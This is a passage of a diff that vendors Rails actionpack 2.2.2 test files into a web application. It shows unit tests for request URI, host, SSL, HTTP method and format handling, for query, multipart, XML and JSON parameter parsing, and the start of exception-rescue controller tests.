+    @request.port = 8080
+    assert_equal ":8080", @request.port_string
+  end
+
+  def test_request_uri
+    @request.env['SERVER_SOFTWARE'] = 'Apache 42.342.3432'
+
+    @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
+    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
+    assert_equal "/path/of/some/uri", @request.path
+
+    @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri"
+    assert_equal "/path/of/some/uri", @request.request_uri
+    assert_equal "/path/of/some/uri", @request.path
+
+    @request.set_REQUEST_URI "/path/of/some/uri"
+    assert_equal "/path/of/some/uri", @request.request_uri
+    assert_equal "/path/of/some/uri", @request.path
+
+    @request.set_REQUEST_URI "/"
+    assert_equal "/", @request.request_uri
+    assert_equal "/", @request.path
+
+    @request.set_REQUEST_URI "/?m=b"
+    assert_equal "/?m=b", @request.request_uri
+    assert_equal "/", @request.path
+
+    @request.set_REQUEST_URI "/"
+    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
+    assert_equal "/", @request.request_uri
+    assert_equal "/", @request.path
+
+    ActionController::Base.relative_url_root = "/hieraki"
+    @request.set_REQUEST_URI "/hieraki/"
+    @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
+    assert_equal "/hieraki/", @request.request_uri
+    assert_equal "/", @request.path
+    ActionController::Base.relative_url_root = nil
+
+    ActionController::Base.relative_url_root = "/collaboration/hieraki"
+    @request.set_REQUEST_URI "/collaboration/hieraki/books/edit/2"
+    @request.env['SCRIPT_NAME'] = "/collaboration/hieraki/dispatch.cgi"
+    assert_equal "/collaboration/hieraki/books/edit/2", @request.request_uri
+    assert_equal "/books/edit/2", @request.path
+    ActionController::Base.relative_url_root = nil
+
+    # The following tests are for when REQUEST_URI is not supplied (as in IIS)
+    @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
+    @request.env['SCRIPT_NAME'] = nil #"/path/dispatch.rb"
+    @request.set_REQUEST_URI nil
+    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
+    assert_equal "/path/of/some/uri", @request.path
+
+    ActionController::Base.relative_url_root = '/path'
+    @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
+    @request.env['SCRIPT_NAME'] = "/path/dispatch.rb"
+    @request.set_REQUEST_URI nil
+    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri(true)
+    assert_equal "/of/some/uri", @request.path(true)
+    ActionController::Base.relative_url_root = nil
+
+    @request.env['PATH_INFO'] = "/path/of/some/uri"
+    @request.env['SCRIPT_NAME'] = nil
+    @request.set_REQUEST_URI nil
+    assert_equal "/path/of/some/uri", @request.request_uri
+    assert_equal "/path/of/some/uri", @request.path
+
+    @request.env['PATH_INFO'] = "/"
+    @request.set_REQUEST_URI nil
+    assert_equal "/", @request.request_uri
+    assert_equal "/", @request.path
+
+    @request.env['PATH_INFO'] = "/?m=b"
+    @request.set_REQUEST_URI nil
+    assert_equal "/?m=b", @request.request_uri
+    assert_equal "/", @request.path
+
+    @request.env['PATH_INFO'] = "/"
+    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
+    @request.set_REQUEST_URI nil
+    assert_equal "/", @request.request_uri
+    assert_equal "/", @request.path
+
+    ActionController::Base.relative_url_root = '/hieraki'
+    @request.env['PATH_INFO'] = "/hieraki/"
+    @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
+    @request.set_REQUEST_URI nil
+    assert_equal "/hieraki/", @request.request_uri
+    assert_equal "/", @request.path
+    ActionController::Base.relative_url_root = nil
+
+    @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+    ActionController::Base.relative_url_root = '/hieraki'
+    assert_equal "/dispatch.cgi", @request.path(true)
+    ActionController::Base.relative_url_root = nil
+
+    @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+    ActionController::Base.relative_url_root = '/foo'
+    assert_equal "/hieraki/dispatch.cgi", @request.path(true)
+    ActionController::Base.relative_url_root = nil
+
+    # This test ensures that Rails uses REQUEST_URI over PATH_INFO
+    ActionController::Base.relative_url_root = nil
+    @request.env['REQUEST_URI'] = "/some/path"
+    @request.env['PATH_INFO'] = "/another/path"
+    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
+    assert_equal "/some/path", @request.request_uri(true)
+    assert_equal "/some/path", @request.path(true)
+  end
+
+  def test_host_with_default_port
+    @request.host = "rubyonrails.org"
+    @request.port = 80
+    assert_equal "rubyonrails.org", @request.host_with_port
+  end
+
+  def test_host_with_non_default_port
+    @request.host = "rubyonrails.org"
+    @request.port = 81
+    assert_equal "rubyonrails.org:81", @request.host_with_port
+  end
+
+  def test_server_software
+    assert_equal nil, @request.server_software(true)
+
+    @request.env['SERVER_SOFTWARE'] = 'Apache3.422'
+    assert_equal 'apache', @request.server_software(true)
+
+    @request.env['SERVER_SOFTWARE'] = 'lighttpd(1.1.4)'
+    assert_equal 'lighttpd', @request.server_software(true)
+  end
+
+  def test_xml_http_request
+    assert [email protected]_http_request?
+    assert [email protected]?
+
+    @request.env['HTTP_X_REQUESTED_WITH'] = "DefinitelyNotAjax1.0"
+    assert [email protected]_http_request?
+    assert [email protected]?
+
+    @request.env['HTTP_X_REQUESTED_WITH'] = "XMLHttpRequest"
+    assert @request.xml_http_request?
+    assert @request.xhr?
+  end
+
+  def test_reports_ssl
+    assert [email protected]?
+    @request.env['HTTPS'] = 'on'
+    assert @request.ssl?
+  end
+
+  def test_reports_ssl_when_proxied_via_lighttpd
+    assert [email protected]?
+    @request.env['HTTP_X_FORWARDED_PROTO'] = 'https'
+    assert @request.ssl?
+  end
+
+  def test_symbolized_request_methods
+    [:get, :post, :put, :delete].each do |method|
+      self.request_method = method
+      assert_equal method, @request.method
+    end
+  end
+
+  def test_invalid_http_method_raises_exception
+    assert_raises(ActionController::UnknownHttpMethod) do
+      self.request_method = :random_method
+    end
+  end
+
+  def test_allow_method_hacking_on_post
+    self.request_method = :post
+    [:get, :head, :options, :put, :post, :delete].each do |method|
+      @request.instance_eval { @parameters = { :_method => method.to_s } ; @request_method = nil }
+      @request.request_method(true)
+      assert_equal(method == :head ? :get : method, @request.method)
+    end
+  end
+
+  def test_invalid_method_hacking_on_post_raises_exception
+    self.request_method = :post
+    @request.instance_eval { @parameters = { :_method => :random_method } ; @request_method = nil }
+    assert_raises(ActionController::UnknownHttpMethod) do
+      @request.request_method(true)
+    end
+  end
+
+  def test_restrict_method_hacking
+    @request.instance_eval { @parameters = { :_method => 'put' } }
+    [:get, :put, :delete].each do |method|
+      self.request_method = method
+      assert_equal method, @request.method
+    end
+  end
+
+  def test_head_masquerading_as_get
+    self.request_method = :head
+    assert_equal :get, @request.method
+    assert @request.get?
+    assert @request.head?
+  end
+
+  def test_xml_format
+    @request.instance_eval { @parameters = { :format => 'xml' } }
+    assert_equal Mime::XML, @request.format
+  end
+
+  def test_xhtml_format
+    @request.instance_eval { @parameters = { :format => 'xhtml' } }
+    assert_equal Mime::HTML, @request.format
+  end
+
+  def test_txt_format
+    @request.instance_eval { @parameters = { :format => 'txt' } }
+    assert_equal Mime::TEXT, @request.format
+  end
+
+  def test_nil_format
+    ActionController::Base.use_accept_header, old =
+      false, ActionController::Base.use_accept_header
+
+    @request.instance_eval { @parameters = {} }
+    @request.env["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest"
+    assert @request.xhr?
+    assert_equal Mime::JS, @request.format
+
+  ensure
+    ActionController::Base.use_accept_header = old
+  end
+
+  def test_content_type
+    @request.env["CONTENT_TYPE"] = "text/html"
+    assert_equal Mime::HTML, @request.content_type
+  end
+
+  def test_format_assignment_should_set_format
+    @request.instance_eval { self.format = :txt }
+    assert [email protected]?
+    @request.instance_eval { self.format = :xml }
+    assert @request.format.xml?
+  end
+
+  def test_content_no_type
+    assert_equal nil, @request.content_type
+  end
+
+  def test_content_type_xml
+    @request.env["CONTENT_TYPE"] = "application/xml"
+    assert_equal Mime::XML, @request.content_type
+  end
+
+  def test_content_type_with_charset
+    @request.env["CONTENT_TYPE"] = "application/xml; charset=UTF-8"
+    assert_equal Mime::XML, @request.content_type
+  end
+
+  def test_user_agent
+    assert_not_nil @request.user_agent
+  end
+
+  def test_parameters
+    @request.instance_eval { @request_parameters = { "foo" => 1 } }
+    @request.instance_eval { @query_parameters = { "bar" => 2 } }
+
+    assert_equal({"foo" => 1, "bar" => 2}, @request.parameters)
+    assert_equal({"foo" => 1}, @request.request_parameters)
+    assert_equal({"bar" => 2}, @request.query_parameters)
+  end
+
+  protected
+    def request_method=(method)
+      @request.env['REQUEST_METHOD'] = method.to_s.upcase
+      @request.request_method(true)
+    end
+end
+
+class UrlEncodedRequestParameterParsingTest < Test::Unit::TestCase
+  def setup
+    @query_string = "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
+    @query_string_with_empty = "action=create_customer&full_name="
+    @query_string_with_array = "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
+    @query_string_with_amps  = "action=create_customer&name=Don%27t+%26+Does"
+    @query_string_with_multiple_of_same_name =
+      "action=update_order&full_name=Lau%20Taarnskov&products=4&products=2&products=3"
+    @query_string_with_many_equal = "action=create_customer&full_name=abc=def=ghi"
+    @query_string_without_equal = "action"
+    @query_string_with_many_ampersands =
+      "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
+    @query_string_with_empty_key = "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
+  end
+
+  def test_query_string
+    assert_equal(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string)
+    )
+  end
+
+  def test_deep_query_string
+    expected = {'x' => {'y' => {'z' => '10'}}}
+    assert_equal(expected, ActionController::AbstractRequest.parse_query_parameters('x[y][z]=10'))
+  end
+
+  def test_deep_query_string_with_array
+    assert_equal({'x' => {'y' => {'z' => ['10']}}}, ActionController::AbstractRequest.parse_query_parameters('x[y][z][]=10'))
+    assert_equal({'x' => {'y' => {'z' => ['10', '5']}}}, ActionController::AbstractRequest.parse_query_parameters('x[y][z][]=10&x[y][z][]=5'))
+  end
+
+  def test_deep_query_string_with_array_of_hash
+    assert_equal({'x' => {'y' => [{'z' => '10'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10'))
+    assert_equal({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][w]=10'))
+  end
+
+  def test_deep_query_string_with_array_of_hashes_with_one_pair
+    assert_equal({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20'))
+    assert_equal("10", ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20')["x"]["y"].first["z"])
+    assert_equal("10", ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20').with_indifferent_access[:x][:y].first[:z])
+  end
+
+  def test_deep_query_string_with_array_of_hashes_with_multiple_pairs
+    assert_equal(
+      {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
+      ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b')
+    )
+  end
+
+  def test_query_string_with_nil
+    assert_equal(
+      { "action" => "create_customer", "full_name" => ''},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_empty)
+    )
+  end
+
+  def test_query_string_with_array
+    assert_equal(
+      { "action" => "create_customer", "selected" => ["1", "2", "3"]},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_array)
+    )
+  end
+
+  def test_query_string_with_amps
+    assert_equal(
+      { "action" => "create_customer", "name" => "Don't & Does"},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_amps)
+    )
+  end
+
+  def test_query_string_with_many_equal
+    assert_equal(
+      { "action" => "create_customer", "full_name" => "abc=def=ghi"},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_many_equal)
+    )
+  end
+
+  def test_query_string_without_equal
+    assert_equal(
+      { "action" => nil },
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_without_equal)
+    )
+  end
+
+  def test_query_string_with_empty_key
+    assert_equal(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_empty_key)
+    )
+  end
+
+  def test_query_string_with_many_ampersands
+    assert_equal(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
+      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_many_ampersands)
+    )
+  end
+
+  def test_unbalanced_query_string_with_array
+   assert_equal(
+     {'location' => ["1", "2"], 'age_group' => ["2"]},
+  ActionController::AbstractRequest.parse_query_parameters("location[]=1&location[]=2&age_group[]=2")
+   )
+   assert_equal(
+     {'location' => ["1", "2"], 'age_group' => ["2"]},
+     ActionController::AbstractRequest.parse_request_parameters({'location[]' => ["1", "2"],
+  'age_group[]' => ["2"]})
+   )
+  end
+
+  def test_request_hash_parsing
+    query = {
+      "note[viewers][viewer][][type]" => ["User", "Group"],
+      "note[viewers][viewer][][id]"   => ["1", "2"]
+    }
+
+    expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
+
+    assert_equal(expected, ActionController::AbstractRequest.parse_request_parameters(query))
+  end
+
+  def test_parse_params
+    input = {
+      "customers[boston][first][name]" => [ "David" ],
+      "customers[boston][first][url]" => [ "http://David" ],
+      "customers[boston][second][name]" => [ "Allan" ],
+      "customers[boston][second][url]" => [ "http://Allan" ],
+      "something_else" => [ "blah" ],
+      "something_nil" => [ nil ],
+      "something_empty" => [ "" ],
+      "products[first]" => [ "Apple Computer" ],
+      "products[second]" => [ "Pc" ],
+      "" => [ 'Save' ]
+    }
+
+    expected_output =  {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David",
+            "url" => "http://David"
+          },
+          "second" => {
+            "name" => "Allan",
+            "url" => "http://Allan"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "something_empty" => "",
+      "something_nil" => "",
+      "products" => {
+        "first" => "Apple Computer",
+        "second" => "Pc"
+      }
+    }
+
+    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  UploadedStringIO = ActionController::UploadedStringIO
+  class MockUpload < UploadedStringIO
+    def initialize(content_type, original_path, *args)
+      self.content_type = content_type
+      self.original_path = original_path
+      super *args
+    end
+  end
+
+  def test_parse_params_from_multipart_upload
+    file = MockUpload.new('img/jpeg', 'foo.jpg')
+    ie_file = MockUpload.new('img/jpeg', 'c:\\Documents and Settings\\foo\\Desktop\\bar.jpg')
+    non_file_text_part = MockUpload.new('text/plain', '', 'abc')
+
+    input = {
+      "something" => [ UploadedStringIO.new("") ],
+      "array_of_stringios" => [[ UploadedStringIO.new("One"), UploadedStringIO.new("Two") ]],
+      "mixed_types_array" => [[ UploadedStringIO.new("Three"), "NotStringIO" ]],
+      "mixed_types_as_checkboxes[strings][nested]" => [[ file, "String", UploadedStringIO.new("StringIO")]],
+      "ie_mixed_types_as_checkboxes[strings][nested]" => [[ ie_file, "String", UploadedStringIO.new("StringIO")]],
+      "products[string]" => [ UploadedStringIO.new("Apple Computer") ],
+      "products[file]" => [ file ],
+      "ie_products[string]" => [ UploadedStringIO.new("Microsoft") ],
+      "ie_products[file]" => [ ie_file ],
+      "text_part" => [non_file_text_part]
+      }
+
+    expected_output =  {
+      "something" => "",
+      "array_of_stringios" => ["One", "Two"],
+      "mixed_types_array" => [ "Three", "NotStringIO" ],
+      "mixed_types_as_checkboxes" => {
+         "strings" => {
+            "nested" => [ file, "String", "StringIO" ]
+         },
+      },
+      "ie_mixed_types_as_checkboxes" => {
+         "strings" => {
+            "nested" => [ ie_file, "String", "StringIO" ]
+         },
+      },
+      "products" => {
+        "string" => "Apple Computer",
+        "file" => file
+      },
+      "ie_products" => {
+        "string" => "Microsoft",
+        "file" => ie_file
+      },
+      "text_part" => "abc"
+    }
+
+    params = ActionController::AbstractRequest.parse_request_parameters(input)
+    assert_equal expected_output, params
+
+    # Lone filenames are preserved.
+    assert_equal 'foo.jpg', params['mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
+    assert_equal 'foo.jpg', params['products']['file'].original_filename
+
+    # But full Windows paths are reduced to their basename.
+    assert_equal 'bar.jpg', params['ie_mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
+    assert_equal 'bar.jpg', params['ie_products']['file'].original_filename
+  end
+
+  def test_parse_params_with_file
+    input = {
+      "customers[boston][first][name]" => [ "David" ],
+      "something_else" => [ "blah" ],
+      "logo" => [ File.new(File.dirname(__FILE__) + "/cgi_test.rb").path ]
+    }
+
+    expected_output = {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "logo" => File.new(File.dirname(__FILE__) + "/cgi_test.rb").path,
+    }
+
+    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_array
+    input = { "selected[]" =>  [ "1", "2", "3" ] }
+
+    expected_output = { "selected" => [ "1", "2", "3" ] }
+
+    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_non_alphanumeric_name
+    input     = { "a/b[c]" =>  %w(d) }
+    expected  = { "a/b" => { "c" => "d" }}
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_single_brackets_in_middle
+    input     = { "a/b[c]d" =>  %w(e) }
+    expected  = { "a/b" => {} }
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_separated_brackets
+    input     = { "a/b@[c]d[e]" =>  %w(f) }
+    expected  = { "a/b@" => { }}
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_separated_brackets_and_array
+    input     = { "a/b@[c]d[e][]" =>  %w(f) }
+    expected  = { "a/b@" => { }}
+    assert_equal expected , ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_unmatched_brackets_and_array
+    input     = { "a/b@[c][d[e][]" =>  %w(f) }
+    expected  = { "a/b@" => { "c" => { }}}
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_nil_key
+    input = { nil => nil, "test2" => %w(value1) }
+    expected = { "test2" => "value1" }
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_array_prefix_and_hashes
+    input = { "a[][b][c]" => %w(d) }
+    expected = {"a" => [{"b" => {"c" => "d"}}]}
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+
+  def test_parse_params_with_complex_nesting
+    input = { "a[][b][c][][d][]" => %w(e) }
+    expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
+  end
+end
+
+class MultipartRequestParameterParsingTest < Test::Unit::TestCase
+  FIXTURE_PATH = File.dirname(__FILE__) + '/../fixtures/multipart'
+
+  def test_single_parameter
+    params = process('single_parameter')
+    assert_equal({ 'foo' => 'bar' }, params)
+  end
+
+  def test_bracketed_param
+    assert_equal({ 'foo' => { 'baz' => 'bar'}}, process('bracketed_param'))
+  end
+
+  def test_text_file
+    params = process('text_file')
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+    assert_kind_of StringIO, file
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert_equal 'contents', file.read
+  end
+
+  def test_boundary_problem_file
+    params = process('boundary_problem_file')
+    assert_equal %w(file foo), params.keys.sort
+
+    file = params['file']
+    foo  = params['foo']
+
+    assert_kind_of Tempfile, file
+
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+
+    assert_equal 'bar', foo
+  end
+
+  def test_large_text_file
+    params = process('large_text_file')
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+
+    assert_kind_of Tempfile, file
+
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert ('a' * 20480) == file.read
+  end
+
+  uses_mocha "test_no_rewind_stream" do
+    def test_no_rewind_stream
+      # Ensures that parse_multipart_form_parameters works with streams that cannot be rewound
+      file = File.open(File.join(FIXTURE_PATH, 'large_text_file'), 'rb')
+      file.expects(:rewind).raises(Errno::ESPIPE)
+      params = ActionController::AbstractRequest.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
+      assert_not_equal 0, file.pos  # file was not rewound after reading
+    end
+  end
+
+  def test_binary_file
+    params = process('binary_file')
+    assert_equal %w(file flowers foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+    assert_kind_of StringIO, file
+    assert_equal 'file.csv', file.original_filename
+    assert_nil file.content_type
+    assert_equal 'contents', file.read
+
+    file = params['flowers']
+    assert_kind_of StringIO, file
+    assert_equal 'flowers.jpg', file.original_filename
+    assert_equal "image/jpeg", file.content_type
+    assert_equal 19512, file.size
+    #assert_equal File.read(File.dirname(__FILE__) + '/../../../activerecord/test/fixtures/flowers.jpg'), file.read
+  end
+
+  def test_mixed_files
+    params = process('mixed_files')
+    assert_equal %w(files foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    # Ruby CGI doesn't handle multipart/mixed for us.
+    files = params['files']
+    assert_kind_of String, files
+    files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
+    assert_equal 19756, files.size
+  end
+
+  private
+    def process(name)
+      File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
+        params = ActionController::AbstractRequest.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
+        assert_equal 0, file.pos  # file was rewound after reading
+        params
+      end
+    end
+end
+
+class XmlParamsParsingTest < Test::Unit::TestCase
+  def test_hash_params
+    person = parse_body("<person><name>David</name></person>")[:person]
+    assert_kind_of Hash, person
+    assert_equal 'David', person['name']
+  end
+
+  def test_single_file
+    person = parse_body("<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>")
+
+    assert_equal "image/jpg", person['person']['avatar'].content_type
+    assert_equal "me.jpg", person['person']['avatar'].original_filename
+    assert_equal "ABC", person['person']['avatar'].read
+  end
+
+  def test_multiple_files
+    person = parse_body(<<-end_body)
+      <person>
+        <name>David</name>
+        <avatars>
+          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
+          <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
+        </avatars>
+      </person>
+    end_body
+
+    assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
+    assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
+    assert_equal "ABC", person['person']['avatars']['avatar'].first.read
+
+    assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
+    assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
+    assert_equal "DEF", person['person']['avatars']['avatar'].last.read
+  end
+
+  private
+    def parse_body(body)
+      env = { 'rack.input'     => StringIO.new(body),
+              'CONTENT_TYPE'   => 'application/xml',
+              'CONTENT_LENGTH' => body.size.to_s }
+      ActionController::RackRequest.new(env).request_parameters
+    end
+end
+
+class LegacyXmlParamsParsingTest < XmlParamsParsingTest
+  private
+    def parse_body(body)
+      env = { 'rack.input'              => StringIO.new(body),
+              'HTTP_X_POST_DATA_FORMAT' => 'xml',
+              'CONTENT_LENGTH'          => body.size.to_s }
+      ActionController::RackRequest.new(env).request_parameters
+    end
+end
+
+class JsonParamsParsingTest < Test::Unit::TestCase
+  def test_hash_params_for_application_json
+    person = parse_body({:person => {:name => "David"}}.to_json,'application/json')[:person]
+    assert_kind_of Hash, person
+    assert_equal 'David', person['name']
+  end
+
+  def test_hash_params_for_application_jsonrequest
+    person = parse_body({:person => {:name => "David"}}.to_json,'application/jsonrequest')[:person]
+    assert_kind_of Hash, person
+    assert_equal 'David', person['name']
+  end
+
+  private
+    def parse_body(body,content_type)
+      env = { 'rack.input'     => StringIO.new(body),
+              'CONTENT_TYPE'   => content_type,
+              'CONTENT_LENGTH' => body.size.to_s }
+      ActionController::RackRequest.new(env).request_parameters
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rescue_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rescue_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rescue_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,513 @@
+require 'abstract_unit'
+
+uses_mocha 'rescue' do
+
+class RescueController < ActionController::Base
+  class NotAuthorized < StandardError
+  end
+  class NotAuthorizedToRescueAsString < StandardError
+  end
+
+  class RecordInvalid < StandardError
+  end
+  class RecordInvalidToRescueAsString < StandardError
+  end
+
+  class NotAllowed < StandardError
+  end
+  class NotAllowedToRescueAsString < StandardError
+  end
+
+  class InvalidRequest < StandardError
+  end
+  class InvalidRequestToRescueAsString < StandardError
+  end
+
+  class BadGateway < StandardError
+  end
+  class BadGatewayToRescueAsString < StandardError
+  end
+
+  class ResourceUnavailable < StandardError
+  end
+  class ResourceUnavailableToRescueAsString < StandardError
+  end
+
+  # We use a fully-qualified name in some strings, and a relative constant
+  # name in some other to test correct handling of both cases.
+
+  rescue_from NotAuthorized, :with => :deny_access
+  rescue_from 'RescueController::NotAuthorizedToRescueAsString', :with => :deny_access
+
+  rescue_from RecordInvalid, :with => :show_errors
+  rescue_from 'RescueController::RecordInvalidToRescueAsString', :with => :show_errors
+
+  rescue_from NotAllowed, :with => proc { head :forbidden }
+  rescue_from 'RescueController::NotAllowedToRescueAsString', :with => proc { head :forbidden }
+
+  rescue_from InvalidRequest, :with => proc { |exception| render :text => exception.message }
+  rescue_from 'InvalidRequestToRescueAsString', :with => proc { |exception| render :text => exception.message }
+
+  rescue_from BadGateway do
+    head :status => 502
+  end
+  rescue_from 'BadGatewayToRescueAsString' do
+    head :status => 502
+  end
+
+  rescue_from ResourceUnavailable do |exception|
+    render :text => exception.message
+  end
+  rescue_from 'ResourceUnavailableToRescueAsString' do |exception|
+    render :text => exception.message
+  end
+
+  # This is a Dispatcher exception and should be in ApplicationController.
+  rescue_from ActionController::RoutingError do
+    render :text => 'no way'
+  end
+
+  def raises
+    render :text => 'already rendered'
+    raise "don't panic!"
+  end
+
+  def method_not_allowed
+    raise ActionController::MethodNotAllowed.new(:get, :head, :put)
+  end
+
+  def not_implemented
+    raise ActionController::NotImplemented.new(:get, :put)
+  end
+
+  def not_authorized
+    raise NotAuthorized
+  end
+  def not_authorized_raise_as_string
+    raise NotAuthorizedToRescueAsString
+  end
+
+  def not_allowed
+    raise NotAllowed
+  end
+  def not_allowed_raise_as_string
+    raise NotAllowedToRescueAsString
+  end
+
+  def invalid_request
+    raise InvalidRequest
+  end
+  def invalid_request_raise_as_string
+    raise InvalidRequestToRescueAsString
+  end
+
+  def record_invalid
+    raise RecordInvalid
+  end
+  def record_invalid_raise_as_string
+    raise RecordInvalidToRescueAsString
+  end
+
+  def bad_gateway
+    raise BadGateway
+  end
+  def bad_gateway_raise_as_string
+    raise BadGatewayToRescueAsString
+  end
+
+  def resource_unavailable
+    raise ResourceUnavailable
+  end
+  def resource_unavailable_raise_as_string
+    raise ResourceUnavailableToRescueAsString
+  end
+
+  def missing_template
+  end
+
+  protected
+    def deny_access
+      head :forbidden
+    end
+
+    def show_errors(exception)
+      head :unprocessable_entity
+    end
+end
+
+class RescueControllerTest < ActionController::TestCase
+  FIXTURE_PUBLIC = "#{File.dirname(__FILE__)}/../fixtures".freeze
+
+  setup :set_all_requests_local
+  setup :populate_exception_object
+
+  def set_all_requests_local
+    RescueController.consider_all_requests_local = true
+    @request.remote_addr = '1.2.3.4'
+    @request.host = 'example.com'
+  end
+
+  def populate_exception_object
+    begin
+      raise 'foo'
+    rescue => @exception
+    end
+  end
+
+  def test_rescue_action_locally_if_all_requests_local
+    @controller.expects(:local_request?).never
+    @controller.expects(:rescue_action_locally).with(@exception)
+    @controller.expects(:rescue_action_in_public).never
+
+    with_all_requests_local do
+      @controller.send :rescue_action, @exception
+    end
+  end
+
+  def test_rescue_action_locally_if_remote_addr_is_localhost
+    @controller.expects(:local_request?).returns(true)
+    @controller.expects(:rescue_action_locally).with(@exception)
+    @controller.expects(:rescue_action_in_public).never
+
+    with_all_requests_local false do
+      @controller.send :rescue_action, @exception
+    end
+  end
+
+  def test_rescue_action_in_public_otherwise
+    @controller.expects(:local_request?).returns(false)
+    @controller.expects(:rescue_action_locally).never
+    @controller.expects(:rescue_action_in_public).with(@exception)
+
+    with_all_requests_local false do
+      @controller.send :rescue_action, @exception
+    end
+  end
+
+  def test_rescue_action_in_public_with_error_file
+    with_rails_root FIXTURE_PUBLIC do
+      with_all_requests_local false do
+        get :raises
+      end
+    end
+
+    assert_response :internal_server_error
+    body = File.read("#{FIXTURE_PUBLIC}/public/500.html")
+    assert_equal body, @response.body
+  end
+
+  def test_rescue_action_in_public_without_error_file
+    with_rails_root '/tmp' do
+      with_all_requests_local false do
+        get :raises
+      end
+    end
+
+    assert_response :internal_server_error
